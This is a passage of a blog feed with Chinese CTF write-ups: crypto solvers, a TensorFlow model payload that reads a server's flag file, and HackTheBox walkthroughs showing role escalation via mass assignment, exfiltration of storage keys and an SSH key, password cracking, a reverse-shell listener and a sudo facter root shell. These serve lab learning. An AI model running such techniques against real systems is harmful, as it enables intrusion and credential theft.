if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主要函数逻辑：&lt;/p&gt;
&lt;p&gt;多变量小根 &lt;code&gt;small_roots_multivariate(f, bounds, m, d)&lt;/code&gt;：构造格并 LLL 简化，提取多项式组合，求解 0 维理想的整数解，返回模 &lt;code&gt;n&lt;/code&gt; 中的根。&lt;/p&gt;
&lt;p&gt;初始化定位 &lt;code&gt;find_initial_y(n, x, enc, max_scan)&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在密文末尾附近扫描窗口，假设存在三连 0bit；&lt;/li&gt;
&lt;li&gt;对每个窗口用上面的二元方程求 &lt;code&gt;(d1, d2)&lt;/code&gt; 小根；&lt;/li&gt;
&lt;li&gt;过滤无效候选：&lt;code&gt;d1 = 0&lt;/code&gt;、&lt;code&gt;gcd(2*d1, n) ≠ 1&lt;/code&gt;（意味 &lt;code&gt;(2*d1)&lt;/code&gt; 模 &lt;code&gt;n&lt;/code&gt; 不可逆）；&lt;/li&gt;
&lt;li&gt;计算 &lt;code&gt;y&lt;/code&gt; 并验证 &lt;code&gt;y^2 ≡ c1 (mod n)&lt;/code&gt;，找到可信初始 &lt;code&gt;(y, d1)&lt;/code&gt; 与窗口偏移 &lt;code&gt;offset&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;恢复过程 &lt;code&gt;recover(n, x, enc)&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先调用 &lt;code&gt;find_initial_y&lt;/code&gt; 获取稳健的初始状态；&lt;/li&gt;
&lt;li&gt;从对应位置开始逐位尝试一元小根，拼接比特串；&lt;/li&gt;
&lt;li&gt;将比特串转为字节输出。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;该实现解决了常见的失败场景：直接用最后三位假设为 0 时，可能出现 &lt;code&gt;inverse_mod(2*d1, n)&lt;/code&gt; 不存在（模 &lt;code&gt;n&lt;/code&gt; 下非单位），通过窗口扫描与 &lt;code&gt;gcd&lt;/code&gt; 过滤确保 &lt;code&gt;(2*d1)&lt;/code&gt; 可逆后再恢复 &lt;code&gt;y&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;Ridiculous LFSR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;m&lt;/code&gt; 的汉明重量固定为 &lt;code&gt;w&lt;/code&gt;（旋转不改变重量）。&lt;/li&gt;
&lt;li&gt;每轮得到 &lt;code&gt;temp_i&lt;/code&gt;，其重量已知为 &lt;code&gt;l[i]&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;输出 &lt;code&gt;c_i = temp_i XOR rotate^i(m)&lt;/code&gt;，其重量（可由位计数得到）记为 &lt;code&gt;weight(c_i)&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对任意两个比特向量 &lt;code&gt;x, y&lt;/code&gt; 有重量恒等式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;weight(x XOR y) = weight(x) + weight(y) - 2 * overlap1(x, y)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;overlap1(x, y)&lt;/code&gt; 为同时为 1 的位置数（也可视为按位与后 1 的数量）。套用到本题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;weight(c_i) = l[i] + w - 2 * dot_i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;w = weight(c_i) - l[i] + 2 * dot_i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键是如何用 &lt;code&gt;c_i&lt;/code&gt; 和未知的 &lt;code&gt;m&lt;/code&gt; 来表达 &lt;code&gt;dot_i = overlap1(temp_i, rotate^i(m))&lt;/code&gt;。注意：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当 &lt;code&gt;c_i[k] = 0&lt;/code&gt; 时，说明 &lt;code&gt;temp_i[k] == rotate^i(m)[k]&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;若此时 &lt;code&gt;rotate^i(m)[k] = 1&lt;/code&gt;，则必有 &lt;code&gt;temp_i[k] = 1&lt;/code&gt;，也就计入了 &lt;code&gt;dot_i&lt;/code&gt;。
于是可得：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;dot_i = # { k | c_i[k] = 0 且 rotate^i(m)[k] = 1 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这使得 &lt;code&gt;dot_i&lt;/code&gt; 可以直接由 &lt;code&gt;c_i&lt;/code&gt; 的零位与 &lt;code&gt;m&lt;/code&gt; 的比特（经相应旋转的索引映射）线性表示。&lt;/p&gt;
&lt;p&gt;在中，使用 OR-Tools 的 CP-SAT 建模：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;变量：&lt;code&gt;m_vars[0..n-1] ∈ {0,1}&lt;/code&gt; 表示 flag 的比特（与题目一致为 MSB-first），&lt;code&gt;w_var ∈ [0,n]&lt;/code&gt; 表示重量。&lt;/li&gt;
&lt;li&gt;对每一轮 &lt;code&gt;i&lt;/code&gt;，构造 &lt;code&gt;dot_i = sum_k a_{i,k} * m_k&lt;/code&gt;，其中 &lt;code&gt;a_{i,k} = 1&lt;/code&gt; 当且仅当 &lt;code&gt;c_i[(k - i) % n] == 0&lt;/code&gt;（这对应 &lt;code&gt;c_i&lt;/code&gt; 的零位与旋转索引的匹配）。&lt;/li&gt;
&lt;li&gt;加入约束：&lt;code&gt;w_var == weight(c_i) - l[i] + 2 * dot_i&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rotate&lt;/code&gt; 的索引映射在约束中体现为 &lt;code&gt;(k - i) % n&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;求解后从比特构造出 &lt;code&gt;m&lt;/code&gt;，并转为字节与字符串（必要时回退到 hex）。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import os
import ast
from ortools.sat.python import cp_model


def parse_output(file_path):
    with open(file_path, &quot;r&quot;) as f:
        lines = f.read().strip().splitlines()
    # Parse LENGTH
    assert lines[0].startswith(&quot;LENGTH = &quot;)
    LENGTH = int(lines[0].split(&quot;=&quot;)[1].strip())
    # Parse c and l using ast.literal_eval for safety
    assert lines[1].startswith(&quot;c = &quot;)
    c_str = lines[1].split(&quot;=&quot;, 1)[1].strip()
    c_list = ast.literal_eval(c_str)
    assert lines[2].startswith(&quot;l = &quot;)
    l_str = lines[2].split(&quot;=&quot;, 1)[1].strip()
    l_list = ast.literal_eval(l_str)
    return LENGTH, c_list, l_list


def int_to_bits(x, n):
    s = bin(x)[2:].zfill(n)
    return [int(ch) for ch in s]


def solve_flag(output_path):
    LENGTH, c_list, l_list = parse_output(output_path)
    n = LENGTH
    m_count = len(c_list)

    # Precompute c bits and weights
    c_bits = [int_to_bits(ci, n) for ci in c_list]
    c_weights = [sum(bits) for bits in c_bits]

    model = cp_model.CpModel()

    # Variables for m (original flag bits, MSB-first order as in task.py)
    m_vars = [model.NewIntVar(0, 1, f&quot;m_{k}&quot;) for k in range(n)]
    # Constant Hamming weight of m across rotations
    w_var = model.NewIntVar(0, n, &quot;w&quot;)

    dot_vars = []
    for i in range(m_count):
        d = model.NewIntVar(0, n, f&quot;dot_{i}&quot;)
        dot_vars.append(d)
        # dot_i = sum_k a_i_k * m_k, where a_i_k = c_i[(k - i) % n]
        terms = []
        for k in range(n):
            if c_bits[i][(k - i) % n] == 0:
                terms.append(m_vars[k])
        if terms:
            model.Add(d == sum(terms))
        else:
            model.Add(d == 0)
        # Constraint: w = l[i] + 2*dot_i - weight(c_i)
        model.Add(w_var == c_weights[i] - l_list[i] + 2 * d)

    # Solve
    solver = cp_model.CpSolver()
    solver.parameters.max_time_in_seconds = 60.0
    solver.parameters.num_search_workers = 8
    status = solver.Solve(model)

    if status not in (cp_model.OPTIMAL, cp_model.FEASIBLE):
        raise RuntimeError(&quot;No feasible solution found by CP-SAT.&quot;)

    m_bits = [solver.Value(v) for v in m_vars]
    w_val = solver.Value(w_var)
    # Build integer from bits (MSB-first)
    bit_str = &quot;&quot;.join(str(b) for b in m_bits)
    m_int = int(bit_str, 2)

    # Convert to bytes (minimal length sufficient for bit-length)
    byte_len = (n + 7) // 8
    inner_bytes = m_int.to_bytes(byte_len, byteorder=&quot;big&quot;)
    # Strip leading zero bytes that may arise from bit-length vs byte boundary
    inner_bytes = inner_bytes.lstrip(b&quot;\x00&quot;)

    try:
        inner_text = inner_bytes.decode(&quot;utf-8&quot;)
    except Exception:
        # Fallback to latin-1 if utf-8 fails
        try:
            inner_text = inner_bytes.decode(&quot;latin-1&quot;)
        except Exception:
            inner_text = inner_bytes.hex()

    full_flag = f&quot;DASCTF{{{inner_text}}}&quot;

    print(f&quot;Recovered LENGTH: {n}&quot;)
    print(f&quot;Recovered weight(m): {w_val}&quot;)
    print(f&quot;Recovered inner bytes (hex): {inner_bytes.hex()}&quot;)
    print(f&quot;Recovered inner text: {inner_text}&quot;)
    print(f&quot;Flag: {full_flag}&quot;)


if __name__ == &quot;__main__&quot;:
    # Assume running from the challenge directory; read local output.txt
    script_dir = os.path.dirname(os.path.abspath(__file__))
    output_path = os.path.join(script_dir, &quot;output.txt&quot;)
    solve_flag(output_path)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Reverse&lt;/h1&gt;
&lt;h2&gt;PLUS&lt;/h2&gt;
&lt;h1&gt;Msic&lt;/h1&gt;
&lt;h2&gt;成功男人背后的女人&lt;/h2&gt;
&lt;p&gt;ps打开发现一个隐藏图层
发现很多男女标
男1女0&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;DS&amp;amp;Ai&lt;/h1&gt;
&lt;h2&gt;SM4-OFB&lt;/h2&gt;
&lt;p&gt;表头为：序号、姓名、手机号、身份证号、IV。观察可知：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;姓名密文为 32 个 hex 字符（16 字节）&lt;/li&gt;
&lt;li&gt;手机号密文为 32 个 hex 字符（16 字节）&lt;/li&gt;
&lt;li&gt;身份证号密文为 64 个 hex 字符（32 字节）&lt;/li&gt;
&lt;li&gt;IV 字段为 &lt;code&gt;6162636465666768696a6b6c6d6e6f70&lt;/code&gt;，对应 ASCII 为 &lt;code&gt;abcdefghijklmnop&lt;/code&gt;，所有行相同。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本题中，IV 对每一行每个字段都相同且固定，意味着每次加密都从同一个初始状态生成相同的密钥流序列（如果对每个字段都是同起点），因此可以通过第一条记录的已知明文分别恢复：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;姓名字段的 16 字节密钥流片段（KS_name）&lt;/li&gt;
&lt;li&gt;手机号字段的 16 字节密钥流片段（KS_phone）&lt;/li&gt;
&lt;li&gt;身份证号字段的 32 字节密钥流片段（KS_id）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;注意：第一条记录的真实明文字节长度可能短于密文字节长度（例如姓名的 UTF-8 仅 9 字节），在流加密中，超出明文长度的密文字节等于密钥流字节（因为相当于明文的该部分是 0），因此将明文尾部按 0x00 填充到与密文等长即可完整恢复密钥流片段。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用 openpyxl 读取 Excel，解析每一列的 hex 字符串为字节数据。&lt;/li&gt;
&lt;li&gt;取第 2 行（第一条数据行）的“姓名/手机号/身份证号”密文，与题目给出的已知明文分别异或，得到 KS_name、KS_phone、KS_id。&lt;/li&gt;
&lt;li&gt;遍历所有行，对对应字段的密文分别与已知密钥流片段异或，还原出明文；将末尾的 &lt;code&gt;\x00&lt;/code&gt; 去除并用 UTF-8 解码。&lt;/li&gt;
&lt;li&gt;在还原出的数据中查找姓名为“何浩璐”，对其身份证号做 MD5，作为题目要求的 flag。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;from openpyxl import load_workbook
import hashlib

wb = load_workbook(&apos;个人信息表.xlsx&apos;, read_only=True, data_only=True)
ws = wb.active
rows = list(ws.iter_rows(values_only=True))

# 已知第一条数据行的明文
name0 = &apos;蒋宏玲&apos;.encode(&apos;utf-8&apos;)
phone0 = &apos;17145949399&apos;.encode(&apos;utf-8&apos;)
id0 = &apos;220000197309078766&apos;.encode(&apos;utf-8&apos;)

# 对应密文（第2行）
c_name = bytes.fromhex(rows[1][1])
c_phone = bytes.fromhex(rows[1][2])
c_id = bytes.fromhex(rows[1][3])

# 反推出三个字段各自的密钥流片段（不足部分按 0x00 填充）
ks_name = bytes(x ^ y for x, y in zip(c_name, name0 + b&apos;\x00&apos; * (len(c_name) - len(name0))))
ks_phone = bytes(x ^ y for x, y in zip(c_phone, phone0 + b&apos;\x00&apos; * (len(c_phone) - len(phone0))))
ks_id = bytes(x ^ y for x, y in zip(c_id, id0 + b&apos;\x00&apos; * (len(c_id) - len(id0))))

flag_md5 = None
for r in rows[1:]:
    name = bytes(x ^ y for x, y in zip(bytes.fromhex(str(r[1])), ks_name)).rstrip(b&apos;\x00&apos;).decode(&apos;utf-8&apos;)
    phone = bytes(x ^ y for x, y in zip(bytes.fromhex(str(r[2])), ks_phone)).rstrip(b&apos;\x00&apos;).decode(&apos;utf-8&apos;)
    idnum = bytes(x ^ y for x, y in zip(bytes.fromhex(str(r[3])), ks_id)).rstrip(b&apos;\x00&apos;).decode(&apos;utf-8&apos;)
    if name == &apos;何浩璐&apos;:
        flag_md5 = hashlib.md5(idnum.encode(&apos;utf-8&apos;)).hexdigest()
        break

print(&apos;FLAG:&apos;, flag_md5)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Mini-modelscope&lt;/h2&gt;
&lt;p&gt;为了满足服务器代码对 &lt;code&gt;.tolist()&lt;/code&gt; 的要求，我们必须返回一个数字数组。我们可以将读取到的 flag 文件内容（原始字节流）直接解码为一个 &lt;code&gt;uint8&lt;/code&gt; 类型的整数向量。向量中的每个数字就是 flag 中对应字符的 ASCII/UTF-8 码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最终 Payload&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import tensorflow as tf
import os
import shutil

class MaliciousModel(tf.Module):
    def __init__(self):
        super(MaliciousModel, self).__init__()
        self.flag_path = tf.constant(&apos;/flag&apos;, dtype=tf.string)

    @tf.function(input_signature=[tf.TensorSpec(shape=[1, 1], dtype=tf.float32)])
    def serve(self, input_tensor):
        # 步骤1: 读取文件的原始字节
        raw_bytes = tf.io.read_file(self.flag_path)
        
        # 步骤2: 将字节流解码为 uint8 整数向量
        byte_vector = tf.io.decode_raw(raw_bytes, tf.uint8)
        
        # 步骤3: 返回这个向量，它满足 .tolist() 的要求
        return {&apos;prediction&apos;: byte_vector}

# --- 保存并打包模型的代码 ---
model_dir = &apos;./malicious_model_final_vector&apos;
zip_name = &apos;model&apos;
if os.path.exists(model_dir): shutil.rmtree(model_dir)
if os.path.exists(f&apos;{zip_name}.zip&apos;): os.remove(f&apos;{zip_name}.zip&apos;)

model = MaliciousModel()
tf.saved_model.save(model, model_dir, signatures={&apos;serve&apos;: model.serve})
shutil.make_archive(zip_name, &apos;zip&apos;, model_dir)
shutil.rmtree(model_dir)
print(f&quot;成功创建 &apos;{zip_name}.zip&apos;&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;结果&lt;/strong&gt;: 服务器成功执行并返回了预测结果！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;预测结果: [68, 65, 83, 67, 84, 70, 123, 57, 55, 52, 49, 52, 55, 56, 48, 56, 48, 55, 52, 56, 49, 54, 56, 57, 54, 56, 52, 56, 53, 55, 50, 49, 57, 50, 49, 51, 51, 56, 57, 125, 10]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们得到了 flag 的 ASCII 码数组。最后一步是将其转换回可读的字符串。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解码脚本&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag_as_numbers = [
    68, 65, 83, 67, 84, 70, 123, 57, 55, 52, 49, 52, 55, 56, 48, 56, 48,
    55, 52, 56, 49, 54, 56, 57, 54, 56, 52, 56, 53, 55, 50, 49, 57, 50,
    49, 51, 51, 56, 57, 125, 10
]

# 最后一个数字 10 是换行符，我们将其忽略
flag_string = &quot;&quot;.join(map(chr, flag_as_numbers[:-1]))

print(flag_string)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-facts</title><link>https://sinqwq.top/posts/htb-facts/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-facts/</guid><description>Htb-facts</description><pubDate>Sun, 20 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -Pn -A -sC 10.129.1.118
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-21 10:14 UTC
Nmap scan report for facts.htb (10.129.1.118)
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open  http    nginx 1.26.3 (Ubuntu)
|_http-title: facts
|_http-server-header: nginx/1.26.3 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   129.75 ms 10.10.16.1
2   152.74 ms facts.htb (10.129.1.118)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.09 seconds

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sU --top-ports 100 10.129.1.118
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-21 10:15 UTC
Nmap scan report for facts.htb (10.129.1.118)
Host is up (0.17s latency).
Not shown: 96 closed udp ports (port-unreach)
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
443/udp  open|filtered https
1646/udp open|filtered radacct
1719/udp open|filtered h323gatestat

Nmap done: 1 IP address (1 host up) scanned in 115.20 seconds

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo dirsearch -u http://facts.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/reports/http_facts.htb/__26-02-21_10-30-16.txt

Target: http://facts.htb/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://facts.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;gobuster扫目录发现/admin &amp;gt; /admin/login
用普通用户用户登陆，发现可以改密码
“编辑个人资料”页面允许用户更改密码。通过分析请求，我们发现参数结构类似于 &lt;code&gt;password[new_password]&lt;/code&gt; 。这是应用程序可能存在 &lt;strong&gt;HTTP 参数污染 (HPP)&lt;/strong&gt; 或&lt;strong&gt;批量赋值&lt;/strong&gt;漏洞的典型迹象。
通过在密码更改请求中添加 &lt;code&gt;&amp;amp;password[role]=admin&lt;/code&gt; ，我们试图覆盖数据库记录的角色属性。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picui.ogmua.cn/s1/2026/04/01/69cd297a53fac.webp&quot; alt=&quot;image-20260221232046569&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在截获的请求正文中，将以下参数附加到末尾：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;amp;password[role]=admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://picui.ogmua.cn/s1/2026/04/01/69cd28f4418de.webp&quot; alt=&quot;image-20260222000323601&quot; /&gt;&lt;/p&gt;
&lt;p&gt;刷新页面。现在您应该可以在导航栏中看到 &lt;strong&gt;“管理”&lt;/strong&gt; 菜单。导航至 &lt;strong&gt;“设置”-“常规站点”-“文件系统设置”&lt;/strong&gt; 。找到并复制&lt;strong&gt;访问密钥&lt;/strong&gt;和&lt;strong&gt;秘密密钥&lt;/strong&gt; 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Aws s3 access key (*):AKIA84C308113CD05AD6
Aws s3 secret key (*):i0uKCWdqZ0LBPGxS1a6BaQWsSQn3h68rXat9pWT8
Aws s3 bucket name (*):randomfacts
Aws s3 region (*):us-east-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;MinIO Exfiltration MinIO 渗漏&lt;/strong&gt;
&lt;em&gt;注意：在此环境中，MinIO 客户端被命名为 &lt;code&gt;./mcli&lt;/code&gt; ，以避免与 Midnight Commander 发生冲突。&lt;/em&gt;
如果您的本地时钟与服务器时钟不匹配，MinIO 身份验证将失败&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -I http://facts.htb:54321
sudo date -s &quot;Sun, 01 Feb 2026 07:45:00 GMT&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 mcli 二进制文件连接并下载 SSH 密钥。请注意，我们使用 cp（复制）命令，而不是 get 命令。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picui.ogmua.cn/s1/2026/04/01/69cd28d12da67.webp&quot; alt=&quot;image-20260221233630640&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. Set the alias
./mcli alias set facts http://facts.htb:54321 &amp;lt;ACCESS_KEY&amp;gt; &amp;lt;SECRET_KEY&amp;gt;

# 2. List files to verify access
./mcli ls -r facts/

# 3. Download the SSH private key
./mcli cp facts/internal/.ssh/id_ed25519 .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;破解密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh2john id_ed25519 &amp;gt; id.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id.hash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登陆&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ssh-keygen -p -f id_ed25519
ssh -i id_ed25519 trivia@facts.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提权&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l 
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/usr/bin/facter
#!/usr/bin/ruby
# frozen_string_literal: true

require &apos;pathname&apos;
require &apos;facter/framework/cli/cli_launcher&apos;

Facter::OptionsValidator.validate(ARGV)
processed_arguments = CliLauncher.prepare_arguments(ARGV)

CliLauncher.start(processed_arguments)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;facter 允许从特定目录执行自定义脚本。我们可以创建一个 Ruby 脚本来启动一个 shell。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir /tmp/piv
echo &apos;exec &quot;/bin/sh&quot;&apos; &amp;gt; /tmp/piv/exploit.rb
sudo /usr/bin/facter --custom-dir=/tmp/piv
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-WingData</title><link>https://sinqwq.top/posts/htb-wingdata/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-wingdata/</guid><description>Htb-WingData</description><pubDate>Sat, 19 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 2000 -T4 10.129.1.113
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-19 02:56 UTC
Nmap scan report for 10.129.1.113 (10.129.1.113)
Host is up (0.20s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 66.35 seconds

┌──(kali㉿kali)-[~]
└─$ echo &quot;10.129.1.113 wingdata.htb&quot; | sudo tee -a /etc/hosts
10.129.1.113 wingdata.htb

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O -p 22,80  10.129.1.113
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-19 03:01 UTC
Nmap scan report for wingdata.htb (10.129.1.113)
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: WingData Solutions
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (90%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%), Linux 4.19 (90%), Linux 5.0 (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.75 seconds

┌──(kali㉿kali)-[~]
└─$ whatweb http://wingdata.htb
http://wingdata.htb [200 OK] Apache[2.4.66], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.66 (Debian)], IP[10.129.1.113], JQuery, Script, Title[WingData Solutions]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看源码发现还有ftp.wingdata.htb/&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ echo &quot;10.129.1.113 ftp.wingdata.htb&quot; | sudo tee -a /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现是Wing FTP Server 7.4.3，网上搜索cve CVE-2025-47812
&lt;img src=&quot;https://picui.ogmua.cn/s1/2026/04/01/69cd2ab3a9001.webp&quot; alt=&quot;image-20260219141823681&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们目前是服务账号（ &lt;code&gt;wingftp&lt;/code&gt; ）。我们需要成为正式用户（ &lt;code&gt;wacky&lt;/code&gt; ）。
应用程序通常将凭据存储在配置文件中。由于我们位于 FTP 服务器的文件夹中，因此我们需要查找用户配置文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find /opt/wftpserver -name &quot;*.xml&quot;
# Found: /opt/wftpserver/Data/1/users/wacky.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 &lt;code&gt;wacky.xml&lt;/code&gt; 文件中，我们发现了一个 SHA-256 哈希值。
&lt;strong&gt;哈希值：&lt;/strong&gt; &lt;code&gt;32940def... &lt;/code&gt;&lt;strong&gt;Salt：&lt;/strong&gt; &lt;code&gt;WingFTP&lt;/code&gt; （这是该软件的硬编码逻辑）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Prepare the hash for Hashcat (Mode 1410 = sha256($pass.$salt))
echo &quot;HASH:WingFTP&quot; &amp;gt; hash.txt
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们使用这些凭据通过 SSH 连接到这台机器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh wacky@wingdata.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来就是提权&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l
# (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
&lt;/code&gt;&lt;/pre&gt;
